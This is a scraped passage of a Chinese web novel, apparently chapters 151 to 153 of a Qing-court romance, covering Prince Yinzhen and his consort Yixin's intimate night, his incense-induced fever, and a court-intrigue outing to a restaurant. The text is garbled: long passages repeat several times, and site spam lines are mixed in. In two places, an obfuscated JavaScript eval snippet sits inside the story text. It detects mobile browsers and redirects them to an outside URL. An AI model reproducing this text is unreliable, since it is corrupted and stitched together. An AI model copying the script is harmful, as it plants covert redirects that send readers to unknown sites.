白日那般浓烈呛人的迷情香,便是烈马都会遵循欲望,但是他没什么反应。 如果仪欣在的话,他不敢想。 仪欣耳尖通红,拉了拉他的小拇指,“想王爷的全部。” 胤禛有种爱欲高潮的感觉,想王爷的全部,她怎么这么会说话呢?虽然是小鸭子一样的声音。 不知谁先亲吻到谁了。 胤禛觉得**似乎确实有些效果,倒是也不尽然,因为,他专属的最烈的**就在他的怀里。 她不用衣衫褪尽,不用娇声唤他四爷,不用娇柔做作祈求垂怜,她只需要站在那里,他就会觉得很满,心里很满很满,仿佛要溢出来一般。 “王爷,我想摸一摸你的腰。” “摸吧。” 仪欣从他怀里钻出来,“你坐起来吧,好不好?” “好。”胤禛嗓子哑哑的,坐起来。 仪欣慢吞吞边看他边解落他的寝衣。 寝衣,缠裹之下。 是劲瘦有力的腰肢。 是遍布玩闹的痕迹的地盘。 当然,也可以担起柔韧如竹的风骨。 最重要的一点——只有他的心上人才可以随意触碰。 仪欣看着刺眼的腰 间红痕有些不痛快,又想到是在太子别院撞到的,肯定极疼。 她低头吻上了他强劲的腰,呜呜囔囔吮吸两口,渴望盖住那刺眼的痕迹。 又爱怜地吻上了他的小腹。 小腹。 “富察仪欣!”胤禛赶忙把她薅起来,仪欣故意又无辜眨眼。 胤禛咬牙:“本王身上都是你的地盘,不要乱咬了。” 仪欣的腿缠上他的腰,“可是我今天不舒服,就很想你,然后,你又回来的很晚,我就想多抱抱。” 胤禛吐气压制欲望,嗯,她有什么错,她只是想他而已。 “你是小狗吗?” 胤禛爱怜亲亲她的脑袋,抿唇笑着吻住她使坏故意努起的樱唇。 “仪欣,今天又有人怀疑本王不行。”胤禛低喘揶揄。 “什么?!”仪欣大惊,“哪个混账,赶紧让他赔我三百两银子!” 胤禛轻咳低低笑,他戳了戳仪欣软绵绵的小肚,状似幽怨开口道:“乖乖,怎么证明给他们看看呢?” 怎么证明? 仪欣拧眉认真思索,仪欣神情涣散,思索失败。 “王爷,别…”仪欣小烟嗓呼呼冒烟,跟膳房里的风箱一般,“口渴…” 胤禛含着温水,半掐着她的脖颈,低头吻上去。 仪欣咕咚咕咚喝水,又羞恼只能承担着吞咽。 她想不明白,她真的想不明白,明明每次都是她重拳出击,还是会被胤禛四两拨千斤挡回来,然后,被欺负。 明明王爷那么温柔。 胤禛只剩哂笑,披着温柔外衣的强势才是他的利器,只是对待仪欣,所谓强势,杀鸡焉用牛刀。 “王爷,今晚声音好难听,像喝不饱水的小鸭子。”仪欣委屈抱怨又舒服轻哼。 “还要喝水吗?我的小鸭子?”胤禛随着她的话说,轻笑又吻到她的唇上。 多喝点水有好处,她多喝点吧。 半个时辰。 胤禛垂眸思索,慢慢给她揉着她的腰肢,纳闷又腹黑弯唇。 不是说摸小猫小狗的肚子,它们会很舒服吗? 怀里这只,都到肚子了,怎么还哭呢? 间红痕有些不痛快,又想到是在太子别院撞到的,肯定极疼。 她低头吻上了他强劲的腰,呜呜囔囔吮吸两口,渴望盖住那刺眼的痕迹。 又爱怜地吻上了他的小腹。 小腹。 “富察仪欣!”胤禛赶忙把她薅起来,仪欣故意又无辜眨眼。 胤禛咬牙:“本王身上都是你的地盘,不要乱咬了。” 仪欣的腿缠上他的腰,“可是我今天不舒服,就很想你,然后,你又回来的很晚,我就想多抱抱。” 胤禛吐气压制欲望,嗯,她有什么错,她只是想他而已。 “你是小狗吗?” 胤禛爱怜亲亲她的脑袋,抿唇笑着吻住她使坏故意努起的樱唇。 “仪欣,今天又有人怀疑本王不行。”胤禛低喘揶揄。 “什么?!”仪欣大惊,“哪个混账,赶紧让他赔我三百两银子!” 胤禛轻咳低低笑,他戳了戳仪欣软绵绵的小肚,状似幽怨开口道:“乖乖,怎么证明给他们看看呢?” 怎么证明? 仪欣拧眉认真思索,仪欣神情涣散,思索失败。 “王爷,别…”仪欣小烟嗓呼呼冒烟,跟膳房里的风箱一般,“口渴…” 胤禛含着温水,半掐着她的脖颈,低头吻上去。 仪欣咕咚咕咚喝水,又羞恼只能承担着吞咽。 她想不明白,她真的想不明白,明明每次都是她重拳出击,还是会被胤禛四两拨千斤挡回来,然后,被欺负。 明明王爷那么温柔。 胤禛只剩哂笑,披着温柔外衣的强势才是他的利器,只是对待仪欣,所谓强势,杀鸡焉用牛刀。 “王爷,今晚声音好难听,像喝不饱水的小鸭子。”仪欣委屈抱怨又舒服轻哼。 “还要喝水吗?我的小鸭子?”胤禛随着她的话说,轻笑又吻到她的唇上。 多喝点水有好处,她多喝点吧。 半个时辰。 胤禛垂眸思索,慢慢给她揉着她的腰肢,纳闷又腹黑弯唇。 不是说摸小猫小狗的肚子,它们会很舒服吗? 怀里这只,都到肚子了,怎么还哭呢? 间红痕有些不痛快,又想到是在太子别院撞到的,肯定极疼。 她低头吻上了他强劲的腰,呜呜囔囔吮吸两口,渴望盖住那刺眼的痕迹。 又爱怜地吻上了他的小腹。 小腹。 “富察仪欣!”胤禛赶忙把她薅起来,仪欣故意又无辜眨眼。 胤禛咬牙:“本王身上都是你的地盘,不要乱咬了。” 仪欣的腿缠上他的腰,“可是我今天不舒服,就很想你,然后,你又回来的很晚,我就想多抱抱。” 胤禛吐气压制欲望,嗯,她有什么错,她只是想他而已。 “你是小狗吗?” 胤禛爱怜亲亲她的脑袋,抿唇笑着吻住她使坏故意努起的樱唇。 “仪欣,今天又有人怀疑本王不行。”胤禛低喘揶揄。 “什么?!”仪欣大惊,“哪个混账,赶紧让他赔我三百两银子!” 胤禛轻咳低低笑,他戳了戳仪欣软绵绵的小肚,状似幽怨开口道:“乖乖,怎么证明给他们看看呢?” 怎么证明? 仪欣拧眉认真思索,仪欣神情涣散,思索失败。 “王爷,别…”仪欣小烟嗓呼呼冒烟,跟膳房里的风箱一般,“口渴…” 胤禛含着温水,半掐着她的脖颈,低头吻上去。 仪欣咕咚咕咚喝水,又羞恼只能承担着吞咽。 她想不明白,她真的想不明白,明明每次都是她重拳出击,还是会被胤禛四两拨千斤挡回来,然后,被欺负。 明明王爷那么温柔。 胤禛只剩哂笑,披着温柔外衣的强势才是他的利器,只是对待仪欣,所谓强势,杀鸡焉用牛刀。 “王爷,今晚声音好难听,像喝不饱水的小鸭子。”仪欣委屈抱怨又舒服轻哼。 “还要喝水吗?我的小鸭子?”胤禛随着她的话说,轻笑又吻到她的唇上。 多喝点水有好处,她多喝点吧。 半个时辰。 胤禛垂眸思索,慢慢给她揉着她的腰肢,纳闷又腹黑弯唇。 不是说摸小猫小狗的肚子,它们会很舒服吗? 怀里这只,都到肚子了,怎么还哭呢? 间红痕有些不痛快,又想到是在太子别院撞到的,肯定极疼。 她低头吻上了他强劲的腰,呜呜囔囔吮吸两口,渴望盖住那刺眼的痕迹。 又爱怜地吻上了他的小腹。 小腹。 “富察仪欣!”胤禛赶忙把她薅起来,仪欣故意又无辜眨眼。 胤禛咬牙:“本王身上都是你的地盘,不要乱咬了。” 仪欣的腿缠上他的腰,“可是我今天不舒服,就很想你,然后,你又回来的很晚,我就想多抱抱。” 胤禛吐气压制欲望,嗯,她有什么错,她只是想他而已。 “你是小狗吗?” 胤禛爱怜亲亲她的脑袋,抿唇笑着吻住她使坏故意努起的樱唇。 “仪欣,今天又有人怀疑本王不行。”胤禛低喘揶揄。 “什么?!”仪欣大惊,“哪个混账,赶紧让他赔我三百两银子!” 胤禛轻咳低低笑,他戳了戳仪欣软绵绵的小肚,状似幽怨开口道:“乖乖,怎么证明给他们看看呢?” 怎么证明? 仪欣拧眉认真思索,仪欣神情涣散,思索失败。 “王爷,别…”仪欣小烟嗓呼呼冒烟,跟膳房里的风箱一般,“口渴…” 胤禛含着温水,半掐着她的脖颈,低头吻上去。 仪欣咕咚咕咚喝水,又羞恼只能承担着吞咽。 她想不明白,她真的想不明白,明明每次都是她重拳出击,还是会被胤禛四两拨千斤挡回来,然后,被欺负。 明明王爷那么温柔。 胤禛只剩哂笑,披着温柔外衣的强势才是他的利器,只是对待仪欣,所谓强势,杀鸡焉用牛刀。 “王爷,今晚声音好难听,像喝不饱水的小鸭子。”仪欣委屈抱怨又舒服轻哼。 “还要喝水吗?我的小鸭子?”胤禛随着她的话说,轻笑又吻到她的唇上。 多喝点水有好处,她多喝点吧。 半个时辰。 胤禛垂眸思索,慢慢给她揉着她的腰肢,纳闷又腹黑弯唇。 不是说摸小猫小狗的肚子,它们会很舒服吗? 怀里这只,都到肚子了,怎么还哭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16374065|182040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢? 间红痕有些不痛快,又想到是在太子别院撞到的,肯定极疼。 她低头吻上了他强劲的腰,呜呜囔囔吮吸两口,渴望盖住那刺眼的痕迹。 又爱怜地吻上了他的小腹。 小腹。 “富察仪欣!”胤禛赶忙把她薅起来,仪欣故意又无辜眨眼。 胤禛咬牙:“本王身上都是你的地盘,不要乱咬了。” 仪欣的腿缠上他的腰,“可是我今天不舒服,就很想你,然后,你又回来的很晚,我就想多抱抱。” 胤禛吐气压制欲望,嗯,她有什么错,她只是想他而已。 “你是小狗吗?” 胤禛爱怜亲亲她的脑袋,抿唇笑着吻住她使坏故意努起的樱唇。 “仪欣,今天又有人怀疑本王不行。”胤禛低喘揶揄。 “什么?!”仪欣大惊,“哪个混账,赶紧让他赔我三百两银子!” 胤禛轻咳低低笑,他戳了戳仪欣软绵绵的小肚,状似幽怨开口道:“乖乖,怎么证明给他们看看呢?” 怎么证明? 仪欣拧眉认真思索,仪欣神情涣散,思索失败。 “王爷,别…”仪欣小烟嗓呼呼冒烟,跟膳房里的风箱一般,“口渴…” 胤禛含着温水,半掐着她的脖颈,低头吻上去。 仪欣咕咚咕咚喝水,又羞恼只能承担着吞咽。 她想不明白,她真的想不明白,明明每次都是她重拳出击,还是会被胤禛四两拨千斤挡回来,然后,被欺负。 明明王爷那么温柔。 胤禛只剩哂笑,披着温柔外衣的强势才是他的利器,只是对待仪欣,所谓强势,杀鸡焉用牛刀。 “王爷,今晚声音好难听,像喝不饱水的小鸭子。”仪欣委屈抱怨又舒服轻哼。 “还要喝水吗?我的小鸭子?”胤禛随着她的话说,轻笑又吻到她的唇上。 多喝点水有好处,她多喝点吧。 半个时辰。 胤禛垂眸思索,慢慢给她揉着她的腰肢,纳闷又腹黑弯唇。 不是说摸小猫小狗的肚子,它们会很舒服吗? 怀里这只,都到肚子了,怎么还哭呢? 间红痕有些不痛快,又想到是在太子别院撞到的,肯定极疼。 她低头吻上了他强劲的腰,呜呜囔囔吮吸两口,渴望盖住那刺眼的痕迹。 又爱怜地吻上了他的小腹。 小腹。 “富察仪欣!”胤禛赶忙把她薅起来,仪欣故意又无辜眨眼。 胤禛咬牙:“本王身上都是你的地盘,不要乱咬了。” 仪欣的腿缠上他的腰,“可是我今天不舒服,就很想你,然后,你又回来的很晚,我就想多抱抱。” 胤禛吐气压制欲望,嗯,她有什么错,她只是想他而已。 “你是小狗吗?” 胤禛爱怜亲亲她的脑袋,抿唇笑着吻住她使坏故意努起的樱唇。 “仪欣,今天又有人怀疑本王不行。”胤禛低喘揶揄。 “什么?!”仪欣大惊,“哪个混账,赶紧让他赔我三百两银子!” 胤禛轻咳低低笑,他戳了戳仪欣软绵绵的小肚,状似幽怨开口道:“乖乖,怎么证明给他们看看呢?” 怎么证明? 仪欣拧眉认真思索,仪欣神情涣散,思索失败。 “王爷,别…”仪欣小烟嗓呼呼冒烟,跟膳房里的风箱一般,“口渴…” 胤禛含着温水,半掐着她的脖颈,低头吻上去。 仪欣咕咚咕咚喝水,又羞恼只能承担着吞咽。 她想不明白,她真的想不明白,明明每次都是她重拳出击,还是会被胤禛四两拨千斤挡回来,然后,被欺负。 明明王爷那么温柔。 胤禛只剩哂笑,披着温柔外衣的强势才是他的利器,只是对待仪欣,所谓强势,杀鸡焉用牛刀。 “王爷,今晚声音好难听,像喝不饱水的小鸭子。”仪欣委屈抱怨又舒服轻哼。 “还要喝水吗?我的小鸭子?”胤禛随着她的话说,轻笑又吻到她的唇上。 多喝点水有好处,她多喝点吧。 半个时辰。 胤禛垂眸思索,慢慢给她揉着她的腰肢,纳闷又腹黑弯唇。 不是说摸小猫小狗的肚子,它们会很舒服吗? 怀里这只,都到肚子了,怎么还哭呢? 间红痕有些不痛快,又想到是在太子别院撞到的,肯定极疼。 她低头吻上了他强劲的腰,呜呜囔囔吮吸两口,渴望盖住那刺眼的痕迹。 又爱怜地吻上了他的小腹。 小腹。 “富察仪欣!”胤禛赶忙把她薅起来,仪欣故意又无辜眨眼。 胤禛咬牙:“本王身上都是你的地盘,不要乱咬了。” 仪欣的腿缠上他的腰,“可是我今天不舒服,就很想你,然后,你又回来的很晚,我就想多抱抱。” 胤禛吐气压制欲望,嗯,她有什么错,她只是想他而已。 “你是小狗吗?” 胤禛爱怜亲亲她的脑袋,抿唇笑着吻住她使坏故意努起的樱唇。 “仪欣,今天又有人怀疑本王不行。”胤禛低喘揶揄。 “什么?!”仪欣大惊,“哪个混账,赶紧让他赔我三百两银子!” 胤禛轻咳低低笑,他戳了戳仪欣软绵绵的小肚,状似幽怨开口道:“乖乖,怎么证明给他们看看呢?” 怎么证明? 仪欣拧眉认真思索,仪欣神情涣散,思索失败。 “王爷,别…”仪欣小烟嗓呼呼冒烟,跟膳房里的风箱一般,“口渴…” 胤禛含着温水,半掐着她的脖颈,低头吻上去。 仪欣咕咚咕咚喝水,又羞恼只能承担着吞咽。 她想不明白,她真的想不明白,明明每次都是她重拳出击,还是会被胤禛四两拨千斤挡回来,然后,被欺负。 明明王爷那么温柔。 胤禛只剩哂笑,披着温柔外衣的强势才是他的利器,只是对待仪欣,所谓强势,杀鸡焉用牛刀。 “王爷,今晚声音好难听,像喝不饱水的小鸭子。”仪欣委屈抱怨又舒服轻哼。 “还要喝水吗?我的小鸭子?”胤禛随着她的话说,轻笑又吻到她的唇上。 多喝点水有好处,她多喝点吧。 半个时辰。 胤禛垂眸思索,慢慢给她揉着她的腰肢,纳闷又腹黑弯唇。 不是说摸小猫小狗的肚子,它们会很舒服吗? 怀里这只,都到肚子了,怎么还哭呢? 第152章 纵欲过度 “王爷,到肚子了,别…别… “到哪里了?自己摸摸。胤禛替她揉了揉,引得仪欣哑着嗓子哭闹。 完了。 背后抱,摁小腹真的特别有感觉。 温热的手掌匹配上清瘦平坦的小腹,轻轻抚摸,若是此时再有些弧度的话,更是两个人之间难以言说的感觉。 她的小腹常年有点凉,胤禛的手附上去的温度和手掌的大小极其明显。 仪欣整个人有些发抖贴在他的胸膛上。 “乖乖,想不想站起来,我抱着你。 仪欣都忘记自己有没有点头了,就晕晕然的睡过去了。 胤禛只觉得心火难平,粗暴搓了搓,觉得仍旧极其燥热,踉跄着离开寝殿。 半夜三更,胤禛烧得迷迷糊糊,仪欣寻寻觅觅,抱着枕头,在偏殿找到胤禛。 “别过来,在那站着。 “哦,好。 仪欣站在屏风后面,柳眉微蹙,看着药童和宋太医进进出出,担忧地张望,吩咐晴云去催催参汤。 “王爷怎会突发高热?仪欣轻声问。 宋太医欲言又止,看向胤禛。 胤禛知道他的身体不正常,白日两口血也是实打实吐出来的,怕吓到仪欣,温声说,“仪欣,帮我看看参汤怎么样了。 仪欣赶紧去。 宋太医这才开口,只是表情有些复杂,“王爷吸入白日大量迷情香,内里亏空,虚不受补,引发高热,那参汤暂且不要喝了。 直白点说,催情香,纵欲过度。 . 胤禛沉默闭了闭眼,还好将她支出去了,不然又不知要如何大呼小叫。 太子,可以。 荒谬。 宋太医揣测,大抵是催情香药效太猛,胤禛的精血随着呕出去的心头血,造成身体亏空引起高热。 仪欣大方给宋太医打赏,事后温声询问胤禛的身体状况,宋太医谨慎说只是着凉。 又一日清晨。 太子禁足毓庆宫,纵欲过度,昏迷不醒的事情传得满天飞。 有些睚眦必报的男人就是这样的。 胤禛在府上养病,朝堂上胤禩**卷土重 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 来,气势很足,却难掩外强中干。 朝堂上都知道四爷重病,耳听得风声与太子有关,只觉得万岁爷的态度实在暧昧不清。 “王爷,你听说了吗?仪欣神秘兮兮道,“太子纵欲过度,被皇阿玛申斥了。 “嗯,略有耳闻。胤禛舀一勺梨汤喂到她嘴边。 仪欣惊讶,“王爷,你足不出户,在府上养病,你是怎么知道的? 胤禛微笑,摸摸她的脑瓜,他怎么知道的?就是他动的手。 晚些时候,仪欣要和植宁去春意楼用膳。 植宁定下了佟佳氏的子弟,佟佳氏二房的嫡长子。 植宁半年后成亲,再晚些时日就要在府中绣嫁妆,仪欣想趁着这个时间,陪植宁选一些珠宝首饰,待到植宁出嫁,给她添妆。 再加上,十三福晋有孕已经三个月了,仪欣在珍宝阁定了一株**,今日准备一并取回府。 胤禛倚在床榻上,手握佛经,余光看着仪欣如同小麻雀般梳妆打扮,期待着出门打猎。 仪欣梳妆时嘴巴是闲不住的,捻着小坚果喂到自己嘴里,东一句西一句跟胤禛分享她幼时跟植宁的经历。 一起抄书,一起买小点心,一起看花灯,一起在闺阁里读画本子. 胤禛有点愣神,眼皮微微下垂,轻声问,“你和西林觉罗格格,谁年岁更大些? “我比她刚好大三个月。仪欣慢慢将金簪插到头发上,随口说。 胤禛心里酸涩,撂下佛经张开手臂抱着她,脑袋埋在她的颈窝里,“你怎么这么小就成亲了呢? 胤禛有些别样的亏欠感,她如果正常些,也该在家中多留几年。 “啊?仪欣撒娇蹭蹭他,“那怎么了? “没事。胤禛亲亲她的侧脸,小声说,“我陪你去逛街吧,给你拎东西,为你付钱。 “欸?可别!王爷跟着我,那植宁多拘谨啊,那我们怎么说私房话?仪欣拒绝。 “嗯,早点回来,注意安全,身边别离了人。胤禛缓缓松开她,替她将发簪摆正。 仪欣欢欢喜喜出门了,她病歪歪的王爷换了一副面孔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16382327|182040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,端方严肃召人议事,连隆科多都出现在前院书房。 八大街人声鼎沸,仪欣最是喜欢,进了八大街便如同老鼠进米仓。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 一辆奢华宽敞的马车自八大街稳稳穿行,上面挂着雍亲王府的标志,京城各府纷纷避让。 仪欣穿着一身橘黄色的袄子,披着淡黄色的斗篷,是春寒料峭间最靓丽的一道风景,她的眼眸明亮如镜之新拭,无忧无虑挽着植宁的胳膊。 她的五官渐渐变得愈发立体,微微一点胭脂,透出浓烈的美感。 植宁仍旧穿着她最喜爱的青色,干脆利落,像是冰雪间傲然挺立的青柏,习惯性地扶着仪欣,随着她慢慢地走。 仪欣和植宁许久未见,她在别庄住了将近一年,又赶上植宁待嫁,不宜出京。 此时两个人有说不完的话。 春意楼。 仪欣带着植宁来到雍亲王府的包厢,两个人不用商量,就知道对方喜欢的膳食,干脆利落点菜后,坐着叙话。 仪欣主动给植宁倒了一盏茶,八卦挑眉凑近她。 植宁嗔怪看她一眼,轻声道,“哎呀,四福晋想问什么,快别拐弯抹角的了。” “你跟佟佳玉忱见过没?怎么样?好不好看?人性格怎么样?” 植宁脸颊微红,沉吟看着仪欣,吊足了仪欣的胃口,使得仪欣忍不住捏了捏她的胳膊。 植宁小声说:“见过一次,还可以,挺好的,你别问了。“ 仪欣凑得更近,凑近耳朵催促,“细说细说。” 两个人凑近窃窃私语,仿佛在密谋着什么。 实际上,仪欣问植宁比画本子上的谁谁帅不帅,植宁小声回答;仪欣问植宁有没有比照春芳姿色不错的伶人帅,植宁吞吞吐吐。 不是,这怎么比啊! 仪欣:怎么不能比? 有个小色鬼实际上只关心这个。 包厢的门被轻轻敲了三下,这是要上菜。 随着包厢门缓缓打开,膳食流水般上着,店小二边上边介绍。 仪欣期待看着那道蟹枳含贝,包厢外八爷、九爷和十爷的身影一晃而过。 第153章 我阿玛赌的是四爷 因为姚虞的关系,仪欣格外不待见胤禩,此时皱了皱眉,随口问店小二,“老**九他们在哪个包厢呢?” 店小二一愣,哈腰恭敬回复,“八爷和九爷在天字间八号。” “嗯,去吧。” 仪欣说完,晴云给了店小二一两银子的打赏。 八福晋的事情,植宁并不知道,但听闻她抱恙多时,不由得关切一句,“八福晋年前就病了,怎么这时也不见好?” “姚虞姐姐现在很好。”仪欣没有多说。 不止仪欣看到了胤禩一行人,胤禩早早就看到春意楼前停着的雍亲王府的马车,浑身气质淡淡的,再没有意气风发的模样。 老九一撩衣袍坐到木凳上,冷哼说:“八哥,技不如人棋差一招,我都认,但不能让我输的不明不白。” “所以我到底是谁给送进去的,你们觉得,到底是老四,还是太子?”老九表情阴鸷。 他本就是略带阴柔的美人样貌,如今又清瘦,更是无端散发着寒意。 胤禩缓缓开口:“我不清楚,但是我知道,四哥手底下绝对有一批暗探。” 他也是在探查姚虞下落的时候才发觉的,他总是**扰,被误导,姚虞离开的这么顺利,那批人功不可没。 老十乐呵呵给他们斟上热茶,缓和氛围道,“总归九哥也出来了,东山再起,来日方长,之前的事便不提了。” 胤禩温和笑了笑,“老十说的有道理。” “不提?爷憋屈的要死,说不提就不提?总归逃不出太子和老四,倒不如一块碰一碰!”老九阴恻恻道。 “富察氏不就在春意楼吗,择日不如撞日,爷派几个人绑了她,关她一天一夜,先给雍亲王府甩一巴掌。” 老十不悦道:“九哥,那是我姨母的女儿。” 老八淡了神色,有些烦躁,“老九,富察氏是富察家含在嘴里养大的,四哥百般呵护,你去绑太子吧,或许比**富察氏还要容易些。” 老九阴着脸,目光从他们脸上逡巡,将杯中茶一饮而尽。 “别忘了今日要做的事。”老八温和提醒道。 他们如今既没钱,又没有人脉,借着康熙扶持,顺势再拉拢上三旗的子弟。 老十的小厮上前来低声禀报,“爷,钮祜禄氏和佟佳氏的 公子到了。” 胤禩温和起身相迎,又是熟悉的礼贤下士的八贤王模样。 老十熟稔招呼其中一个芝兰玉树的男人,“朔齐,来,挨着爷坐着。” 来人隐隐以钮祜禄朔齐和佟佳玉忱为首。 朔齐疏朗笑笑。 仪欣眸光微闪,握住植宁的手,“你确定没认错吗?佟佳玉忱真的进了老八的包房?” 植宁心中惴惴,点点头,想起那日偷听到的阿玛和额娘的对话,她轻轻看向仪欣,神情带着些惶然。 仪欣扬扬下巴,晴云当即带着侍奉的人退出去,将包厢门守好。 “仪欣,我定亲的前一晚,听见阿玛对额娘说,说之所以把我许给佟佳氏,是因为将赌注下在了,”植宁一顿,坚定道,“下在了四爷身上。” 四爷可是佟佳皇后之子。 可是,佟佳玉忱,又进了八爷的包厢。 况且,那个下注,明显就是挣从龙之功的意味。 “谁?”仪欣一磕巴。 王爷闲云野鹤,一年有二百多天不上朝,怎么可能对那个位置有心思呢? “你家王爷。”植宁看着仪欣,缓缓坚定点头。 植宁低声回忆道,“就是,你记不记得我曾经给你写信,问要不要选个老实人成亲,后来阿玛说服了额娘,你也说服了我,故而我定亲之事一拖再拖,阿玛也一选再选,直到” 不知怎得,仪欣很敏锐接过话去,抬眼呢喃道:“直到.王爷改玉牒?” 植宁坦诚点点头。 只是,现在佟佳玉忱让她不知如何是好,这个时期,她们亦是十分敏感。 仪欣安定握住植宁的手,不紧不慢攥了攥,道:“没事,不怕,先用膳,有我在呢。” 植宁缓缓抬头,不宁的心绪骤然安稳下来。 仪欣身上有种笃定的,自信的,运筹帷幄的底气,她幼时便清楚,除了生死,没有什么能束缚她,她成亲后更是这般认为。 用完午膳,仪欣和植宁照常去逛珍宝阁。 春意楼外,朔齐和老十寒暄几句,和佟佳玉忱并肩离开。 走远些,朔齐微微偏一下身子,低声说:“多谢玉忱陪我走这一趟。” 十爷有请,不能不到,他只能带着玉忱,总 归有他们不可拉拢的人在,他们不会提及政事。 佟佳玉忱浅笑:“你我之间,何必言谢。” 朔齐笑着说要切实买一套文房四宝赠与佟佳玉忱。 有些人就是忽然相遇的。 朔齐低头克制移开视线,不敢再近一步,攥住佟佳玉忱的手腕。 束轩阁内,仪欣步履轻快散漫,挽着一个格格,耀如春华,如春之海棠,冬之腊梅,菩提手串在她腕间细细簌簌摩挲旗装上的木槿花,随性恣意,好似话本中天界散落在人间的小仙娥。 朔齐缓了缓呼吸,回忆着想,好似不管她在哪里,哪里就格外明媚些,甚怪。 “朔齐,怎么了?”佟佳玉忱疑惑出声,唤回他的心神。 不等佟佳玉忱得到朔齐的回答,他身边的小厮出声提醒道,“爷,是西林觉罗格格,身边似是雍亲王福晋。” 佟佳玉忱少年气笑笑,轻咳一声,“随我去打个招呼吧。” 朔齐的心思从来藏得极好,只有傅辙知道些许,他没有拒绝的道理,温和点点头。 “雍亲王福晋安好,”玉忱清润的声音在仪欣身后传来,他看向植宁,腼腆问,“植宁格格可有什么喜欢的笔墨吗?我.我送给你吧。” 植宁回眸,清冷的脸上猝不及防有些红晕,她刚刚就看见他了,百般掩饰背过身去装看不见,结果他还进来了。 “嗯,还好,没什么格外偏爱的。” 仪欣瞪圆了眼睛,兴奋看着来人,哇哇哇——佟佳玉忱本尊,哇哇哇! 她暗戳戳朝植宁眨眨眼,先去那边给王爷选块砚台,转身看到颇为熟悉的身影,见那人对自己温润点头拱手请安。 仪欣弯唇笑意盈盈寒暄一句,“朔齐表哥别来无恙。” 朔齐眼睛弯了弯,紧张摸了摸袖口的祥云绣纹,面色如常正常寒暄两句,便不再开口,只是退到不远不近的地方等着佟佳玉忱。 佟佳玉忱轻声问植宁要不要去酥阁买一些糕点,他见植宁对他想送的东西反应平平,便想送她些吃食也好。 仪欣一直暗戳戳竖着耳朵,听到酥阁,简直雀跃难忍。 她晃了晃植宁的衣袖,玩笑打趣道:“好啊好啊,去酥阁!去呗~一起去~植宁格格~” 门口处。 胤禛拎着酥阁的糕点上下抛了抛,眯着桃花眼与朔齐对视,轻笑一下,想着一会儿怎么去揪富察仪欣的小耳朵。 归有他们不可拉拢的人在,他们不会提及政事。 佟佳玉忱浅笑:“你我之间,何必言谢。” 朔齐笑着说要切实买一套文房四宝赠与佟佳玉忱。 有些人就是忽然相遇的。 朔齐低头克制移开视线,不敢再近一步,攥住佟佳玉忱的手腕。 束轩阁内,仪欣步履轻快散漫,挽着一个格格,耀如春华,如春之海棠,冬之腊梅,菩提手串在她腕间细细簌簌摩挲旗装上的木槿花,随性恣意,好似话本中天界散落在人间的小仙娥。 朔齐缓了缓呼吸,回忆着想,好似不管她在哪里,哪里就格外明媚些,甚怪。 “朔齐,怎么了?”佟佳玉忱疑惑出声,唤回他的心神。 不等佟佳玉忱得到朔齐的回答,他身边的小厮出声提醒道,“爷,是西林觉罗格格,身边似是雍亲王福晋。” 佟佳玉忱少年气笑笑,轻咳一声,“随我去打个招呼吧。” 朔齐的心思从来藏得极好,只有傅辙知道些许,他没有拒绝的道理,温和点点头。 “雍亲王福晋安好,”玉忱清润的声音在仪欣身后传来,他看向植宁,腼腆问,“植宁格格可有什么喜欢的笔墨吗?我.我送给你吧。” 植宁回眸,清冷的脸上猝不及防有些红晕,她刚刚就看见他了,百般掩饰背过身去装看不见,结果他还进来了。 “嗯,还好,没什么格外偏爱的。” 仪欣瞪圆了眼睛,兴奋看着来人,哇哇哇——佟佳玉忱本尊,哇哇哇! 她暗戳戳朝植宁眨眨眼,先去那边给王爷选块砚台,转身看到颇为熟悉的身影,见那人对自己温润点头拱手请安。 仪欣弯唇笑意盈盈寒暄一句,“朔齐表哥别来无恙。” 朔齐眼睛弯了弯,紧张摸了摸袖口的祥云绣纹,面色如常正常寒暄两句,便不再开口,只是退到不远不近的地方等着佟佳玉忱。 佟佳玉忱轻声问植宁要不要去酥阁买一些糕点,他见植宁对他想送的东西反应平平,便想送她些吃食也好。 仪欣一直暗戳戳竖着耳朵,听到酥阁,简直雀跃难忍。 她晃了晃植宁的衣袖,玩笑打趣道:“好啊好啊,去酥阁!去呗~一起去~植宁格格~” 门口处。 胤禛拎着酥阁的糕点上下抛了抛,眯着桃花眼与朔齐对视,轻笑一下,想着一会儿怎么去揪富察仪欣的小耳朵。 归有他们不可拉拢的人在,他们不会提及政事。 佟佳玉忱浅笑:“你我之间,何必言谢。” 朔齐笑着说要切实买一套文房四宝赠与佟佳玉忱。 有些人就是忽然相遇的。 朔齐低头克制移开视线,不敢再近一步,攥住佟佳玉忱的手腕。 束轩阁内,仪欣步履轻快散漫,挽着一个格格,耀如春华,如春之海棠,冬之腊梅,菩提手串在她腕间细细簌簌摩挲旗装上的木槿花,随性恣意,好似话本中天界散落在人间的小仙娥。 朔齐缓了缓呼吸,回忆着想,好似不管她在哪里,哪里就格外明媚些,甚怪。 “朔齐,怎么了?”佟佳玉忱疑惑出声,唤回他的心神。 不等佟佳玉忱得到朔齐的回答,他身边的小厮出声提醒道,“爷,是西林觉罗格格,身边似是雍亲王福晋。” 佟佳玉忱少年气笑笑,轻咳一声,“随我去打个招呼吧。” 